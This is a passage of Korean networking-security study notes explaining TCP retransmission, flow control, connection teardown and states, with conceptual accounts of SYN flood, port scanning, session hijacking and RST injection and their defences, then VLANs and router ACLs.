보냄: [1] [2] [3] [4] [5]
↑ 2번 손실!
받는 쪽:
1 받음 → Ack "2번 줘"
3 받음 → Ack "2번 줘" (중복 ACK 1)
4 받음 → Ack "2번 줘" (중복 ACK 2)
5 받음 → Ack "2번 줘" (중복 ACK 3) ← 같은 ACK가 3번 더!
보내는 쪽: "같은 ACK가 3번 중복됐네 → 2번이 빠졌구나" → 타임아웃 기다리지 않고 즉시 2번 재전송
중복 ACK 3개를 받으면 바로 재전송합니다. 3·4·5번은 받는 쪽이 버퍼에 보관해 두고, 2번이 도착하면 순서대로 조립합니다.
방법 ③ SACK (Selective ACK, 선택적 확인 응답)
누적 ACK만으로는 “2번이 빠졌다”는 건 알아도 “3, 4, 5는 받았다”는 건 알 수 없습니다. 그러면 보내는 쪽이 2~5번을 다 다시 보낼 수도 있죠. SACK 옵션을 쓰면 받는 쪽이 ”2번 줘. 그런데 3~5번은 이미 받았어"라고 구체적으로 알려줘서, 빠진 것만 다시 보냅니다.
손상 발생 시
체크섬이 맞지 않으면 그 세그먼트를 조용히 버립니다. 그러면 ACK가 안 가니까, 보내는 쪽은 손실된 것으로 보고 재전송합니다. 손상 = 손실로 처리하는 단순한 방식입니다.
순서 보장과 중복 제거
순서 번호가 있으니까:
- 3번이 2번보다 먼저 와도 → 번호 순서대로 재배열
- 같은 번호가 두 번 와도 → 중복으로 판단하고 버림
이렇게 해서 IP의 최선형 전달이 가진 문제(손실, 손상, 순서 뒤바뀜, 중복)를 TCP가 전부 해결합니다.
흐름 제어 (Flow Control): 받는 쪽을 배려
빠른 서버가 느린 스마트폰에게 데이터를 마구 보내면? 스마트폰의 수신 버퍼가 넘쳐서 데이터가 버려집니다. 그러면 재전송해야 하고 낭비가 발생합니다.
해결 -> 수신 윈도우 (rwnd)
받는 쪽이 매 ACK마다 헤더의 윈도우 크기 필드로 알려줍니다.
"내 버퍼에 지금 이만큼 여유가 있어. 이 이상은 보내지 마."
스마트폰: Ack=5001, Window=8000 "8000바이트까지 받을 수 있어"
서버: 8000바이트 보냄 (ACK 안 기다리고 연달아)
스마트폰: (앱이 아직 데이터를 처리 못 함, 버퍼 가득)
스마트폰: Ack=13001, Window=0 "꽉 찼어! 잠깐 멈춰" (Zero Window)
서버: 전송 중단, 가끔 "이제 됐어?" 확인 (Window Probe)
스마트폰: (앱이 데이터 처리 완료)
스마트폰: Ack=13001, Window=8000 "다시 보내도 돼"
이렇게 한 번에 보낼 수 있는 양이 창문처럼 앞으로 미끄러져 나가는 방식이라 슬라이딩 윈도우(Sliding Window)라고 부릅니다.
← 이미 ACK 받음 →│← 보냈지만 ACK 대기 →│← 바로 보낼 수 있음 →│← 아직 못 보냄 →
바이트: ... 1 2 3 4 5 │ 6 7 8 9 10 │ 11 12 13 14 │ 15 16 17 ...
└──────────── 윈도우 크기 ─────────────┘
ACK가 오면 창문 전체가 오른쪽으로 →
연결 종료: 4-Way Handshake
정상 종료 과정
클라이언트가 먼저 종료를 요청하는 경우입니다.
클라이언트 서버
(ESTABLISHED) (ESTABLISHED)
│ ① FIN │
│ "나 보낼 거 다 보냈어" │
│ ─────────────────────────────────────────────→│
(FIN_WAIT_1) (CLOSE_WAIT)
│ ② ACK │
│ "알았어, 확인" │
│ ←─────────────────────────────────────────────│
(FIN_WAIT_2) │
│ (서버는 남은 데이터를 마저 보낼 수 있음)
│ ←───────────── 남은 데이터 ───────────────────── │
│ │
│ ③ FIN │
│ "나도 다 보냈어" │
│ ←─────────────────────────────────────────────│
│ (LAST_ACK)
│ ④ ACK │
│ "확인" │
│ ─────────────────────────────────────────────→│
(TIME_WAIT) (CLOSED)
│
│ ⏱ 일정 시간(2MSL) 대기
│
(CLOSED)
연결할 때는 서버가 ACK와 SYN을 한 번에 보냈습니다. 그런데 끊을 때는 그럴 수 없는 경우가 많습니다.
- 클라이언트가 FIN을 보냈다는 건 “나는 더 보낼 게 없다”는 뜻이지, “너도 그만 보내”라는 뜻이 아닙니다.
- 서버는 아직 보낼 데이터가 남아 있을 수 있습니다. (예: 큰 파일 다운로드 응답 중)
- 그래서 서버는 일단 ACK만 보내고(②), 남은 데이터를 다 보낸 뒤에 자기 FIN을 따로 보냅니다(③).
이렇게 한쪽 방향만 닫힌 상태를 반 닫힘(Half-close)이라고 합니다. TCP가 양방향을 각각 독립적으로 관리하기 때문에 가능합니다.
> 서버가 보낼 게 없으면 ②와 ③을 합쳐서 3번으로 끝나기도 하죠.
TIME_WAIT: 왜 바로 안 닫고 기다릴까?
먼저 종료를 요청한 쪽(여기선 클라이언트)은 마지막 ACK를 보낸 뒤 바로 닫지 않고 잠시 기다립니다. 보통 2MSL(MSL = 패킷이 네트워크에서 살아 있을 수 있는 최대 시간, 보통 수십 초~2분)입니다.
이유 ①: 마지막 ACK가 사라졌을 경우 대비
④번 ACK가 손실되면, 서버는 FIN을 다시 보냅니다. 클라이언트가 이미 닫혀 있으면 이 FIN에 응답할 수 없어서 서버가 깔끔하게 종료하지 못하죠. 그래서 잠시 기다리며 재전송된 FIN에 다시 ACK해줍니다.
이유 ②: 늦게 도착하는 옛날 패킷 정리
같은 IP·포트 조합으로 새 연결을 바로 맺으면, 이전 연결에서 길을 헤매던 패킷이 늦게 도착해 새 연결 데이터로 오인될 수 있습니다. 기다리는 동안 그런 패킷들이 TTL 만료로 사라지게 합니다.
강제 종료: RST
FIN이 “정중하게 끝내자”라면, RST는 “지금 당장 끊어”예요.
| 언제 RST가 오는가 |
의미 |
| 닫힌 포트로 SYN을 보냈을 때 |
"이 포트엔 아무도 없어" (지난번 역캡슐화에서 나온 그 응답) |
| 상대 프로그램이 비정상 종료됐을 때 |
연결 즉시 폐기 |
| 존재하지 않는 연결의 패킷이 왔을 때 |
"그런 연결 모르는데?" |
| 방화벽·IPS가 연결을 차단할 때 |
양쪽에 RST를 보내 끊어버림 |
RST를 받으면 ACK도, 대기도 없이 즉시 연결이 사라지고, 아직 전달되지 않은 데이터도 버려집니다.
TCP 상태 전이
연결은 아래 상태들을 거칩니다. 상태 기반 방화벽의 상태 테이블에 기록되는 게 바로 이 상태들입니다.
| 상태 |
누가 |
의미 |
| CLOSED |
양쪽 |
연결 없음 |
| LISTEN |
서버 |
포트를 열고 연결 요청 대기 |
| SYN_SENT |
클라이언트 |
SYN 보내고 SYN-ACK 기다리는 중 |
| SYN_RECEIVED |
서버 |
SYN 받고 SYN-ACK 보낸 뒤, 마지막 ACK 기다리는 중 ← SYN Flood가 노리는 상태 |
| ESTABLISHED |
양쪽 |
연결 완료, 데이터 송수신 중 |
| FIN_WAIT_1 |
먼저 끊는 쪽 |
FIN 보내고 ACK 기다림 |
| FIN_WAIT_2 |
먼저 끊는 쪽 |
ACK 받음, 상대 FIN 기다림 |
| CLOSE_WAIT |
나중에 끊는 쪽 |
FIN 받음, 내 쪽 정리 중 |
| LAST_ACK |
나중에 끊는 쪽 |
내 FIN 보내고 마지막 ACK 기다림 |
| TIME_WAIT |
먼저 끊는 쪽 |
마지막 ACK 보내고 대기 |
① SYN Flood
공격자 ── SYN (출발지 위조) ──→ 서버: SYN_RECEIVED 상태로 기억, SYN-ACK 보냄
공격자 ── SYN (출발지 위조) ──→ 서버: 또 기억...
공격자 ── SYN (출발지 위조) ──→ 서버: 또 기억...
(마지막 ACK는 절대 안 옴. 위조된 주소로 SYN-ACK가 갔으니까)
서버: 대기열 가득 참 → 정상 사용자 연결 불가 ❌
3-way handshake의 ②단계 이후 서버가 상태를 기억해야 한다는 점을 노린 공격입니다.
대응:
- SYN Cookie: 지난번 설명대로, SYN을 받으면 상태를 저장하지 않고 정보를 ISN에 암호학적으로 담아 보냄. 정상 ACK가 돌아올 때만 상태 생성 (Stateless 전환)
- 대기열 크기 증가, SYN-RECEIVED 대기 시간 단축
- 앞단의 DDoS 대응 장비, 로드밸런서의 SYN 프록시
② 포트 스캔
TCP의 응답 규칙을 이용해서 포트 상태를 알아냅니다.
| 스캔 방식 |
보내는 패킷 |
열린 포트 |
닫힌 포트 |
특징 |
| TCP Connect 스캔 |
정상 3-way handshake 완료 |
연결 성공 |
RST |
일반 권한으로 가능. 연결이 완성돼서 서버 로그에 남음 |
| SYN 스캔 (Half-open) |
SYN만 |
SYN-ACK → 바로 RST로 끊음 |
RST |
연결을 완성하지 않아 로그에 덜 남음. 관리자 권한 필요 (로우 소켓) |
| FIN 스캔 |
FIN만 |
응답 없음 |
RST |
|
| NULL 스캔 |
플래그 없음 |
응답 없음 |
RST |
비정상 패킷으로 방화벽 우회 시도 |
| Xmas 스캔 |
FIN+PSH+URG |
응답 없음 |
RST |
플래그가 크리스마스 트리처럼 켜져서 붙은 이름 |
| ACK 스캔 |
ACK만 |
RST (필터링 안 됨) |
RST (필터링 안 됨) |
포트 상태가 아니라 방화벽 규칙을 알아내는 용도. 응답 없으면 필터링됨 |
FIN·NULL·Xmas 스캔의 원리: TCP 표준(RFC 793)은 "연결이 없는 상태에서 이상한 패킷이 오면, 닫힌 포트는 RST로 응답하고 열린 포트는 무시하라"고 정했어요. 이 차이를 이용하는 거죠. 단, Windows는 이 표준과 다르게 항상 RST로 응답해서 이 스캔들이 통하지 않아요. 반대로 이 차이로 운영체제를 추측할 수도 있어요.
ACK 스캔과 상태 기반 방화벽: 지난번 배운 대로, Stateless 방화벽은 ACK 패킷을 "이미 맺어진 연결의 일부"로 보고 통과시킬 수 있지만, Stateful 방화벽은 상태 테이블에 없으니 차단해요. ACK 스캔 결과로 어떤 종류의 방화벽인지 추측할 수 있어요.
③ TCP 세션 하이재킹
이미 맺어진 연결에 가짜 패킷을 끼워 넣어 연결을 가로채는 공격입니다.
받는 쪽은 순서 번호가 맞으면 그 패킷을 정상 데이터로 받아들입니다. 공격자가 현재 순서 번호를 알거나 예측할 수 있으면, 출발지를 위조한 패킷에 올바른 순서 번호를 넣어서 명령을 끼워 넣을 수 있습니다.
1994년 케빈 미트닉 사건이 유명해요. 당시 일부 시스템은 ISN을 예측 가능한 방식으로 증가시켰는데, 이를 이용해:
- 신뢰받는 서버를 SYN Flood로 응답 불능 상태로 만들고
- 그 서버로 위장해 순서 번호를 예측한 가짜 패킷으로 연결을 맺어
- “IP 주소 기반 신뢰 관계”를 악용해 침입했습니다.
④ RST 주입 공격
순서 번호 범위만 맞추면 가짜 RST 패킷으로 남의 연결을 강제로 끊을 수 있습니다. RST는 받는 즉시 연결이 사라지니까요.
- 오래 유지되는 BGP 세션(라우터 간 TCP 179)을 끊어서 라우팅을 흔드는 공격으로 문제가 됐었고, 그래서 BGP는 TCP 인증 옵션(TCP-MD5 → TCP-AO)으로 세그먼트에 MAC을 붙여 보호합니다.
- 일부 국가의 인터넷 검열 시스템이 금지된 사이트 접속을 RST 주입으로 끊는 것으로도 알려져 있습니다.
라우터 접근 통제와 VLAN
”네트워크를 어떻게 나누고, 나눈 구역 사이를 누가 오갈 수 있게 할 것인가"라는 질문에 대한 답입니다.
- VLAN: 네트워크를 논리적으로 나누는 기술 (2층)
- 라우터 접근 통제: 나눈 구역 사이, 그리고 라우터 자신으로 오가는 트래픽을 허용·차단하는 기술 (3·4층)
회사 3층에 인사팀, 개발팀, 손님용 회의실이 있고, 모두 스위치 한 대에 연결돼 있다고 해봅시다.
[스위치]
┌─────┬─────┼─────┬─────┬─────┐
인사PC 인사PC 개발PC 개발PC 손님PC 손님PC
토폴로지에서 배운 대로, 스위치는 브로드캐스트 도메인을 나누지 않습니다. 그러면:
- 손님 노트북이 보내는 ARP·DHCP 브로드캐스트가 인사팀 PC까지 퍼짐
- 손님이 ARP 스푸핑을 하면 인사팀 트래픽을 가로챌 수 있음
- 인사팀만 따로 접근 통제를 하고 싶어도 경계가 없음
해결책은 두 가지입니다.
- 부서마다 스위치를 따로 사서 물리적으로 분리 → 비싸고, 자리 배치가 바뀔 때마다 선을 다시 깔아야 함
- 스위치 한 대를 논리적으로 여러 개처럼 나눔 → 이게 VLAN
VLAN이란
물리적으로는 한 스위치에 연결돼 있어도, 논리적으로는 서로 다른 네트워크처럼 동작하게 나누는 기술
VLAN의 장점
| 장점 |
설명 |
| 보안 |
브로드캐스트 기반 2층 공격(ARP·DHCP 스푸핑)이 다른 VLAN으로 퍼지지 않음 |
| 접근 통제 지점 |
VLAN 간 통신은 반드시 라우터(또는 L3 스위치)를 거쳐야 하므로, 거기서 정책 적용 가능 |
| 성능 |
브로드캐스트가 VLAN 안에서만 퍼져서 불필요한 트래픽 감소 |
| 유연성 |
자리가 바뀌어도 선은 그대로, 설정만 바꾸면 됨 |
| 비용 |
스위치를 부서마다 살 필요 없음 |
라우터 접근 통제
┌─ ② 라우터 자체로 들어오는 트래픽 (관리 평면)
│ "누가 이 라우터에 로그인할 수 있나?"
[트래픽] ──→ [라우터] ─┤
│
└─ ① 라우터를 지나가는 트래픽 (데이터 평면)
"어떤 패킷을 통과시킬까?"
| 구분 |
대상 |
비유 |
수단 |
| ① 데이터 평면 |
라우터를 통과하는 사용자 트래픽 |
톨게이트가 지나가는 차량을 통제 |
인터페이스 ACL, 위조 방지 필터링 |
| ② 관리 평면 |
라우터 자체에 접속하는 관리 트래픽 |
톨게이트 관제실 출입을 통제 |
VTY 접근 통제, SSH, AAA, 불필요 서비스 제거 |
라우터가 해킹당하면 그 라우터를 지나는 모든 트래픽이 위험해지니까, ②도 ①만큼 중요합니다.
ACL (Access Control List, 접근 통제 목록)
ACL이란 라우터에 거는 ”허용·차단 규칙 목록"입니다. 지난번 방화벽 규칙과 원리가 똑같습니다.
- 위에서부터 순서대로 비교, 처음 일치하는 규칙 적용 (First Match)
- 목록 맨 끝에는 보이지 않는 "전부 차단(deny any)"이 숨어 있음 (암묵적 거부, Implicit Deny)
- 기본적으로 Stateless: 패킷 하나하나를 독립적으로 판단 (그래서 응답 트래픽 처리에 주의)
암묵적 거부를 잊으면 생기는 사고: 차단 규칙 하나만 넣으려고 deny 10.0.30.0 만 적고 적용하면, 그 아래 숨은 "전부 차단" 때문에 모든 트래픽이 막힙니다. 반드시 마지막에 permit any 같은 허용 규칙이 필요한지 확인해야 합니다. 원격으로 라우터에 접속한 상태라면 자기 접속까지 끊겨서 현장에 가야 하는 일이 생기기도 합니다.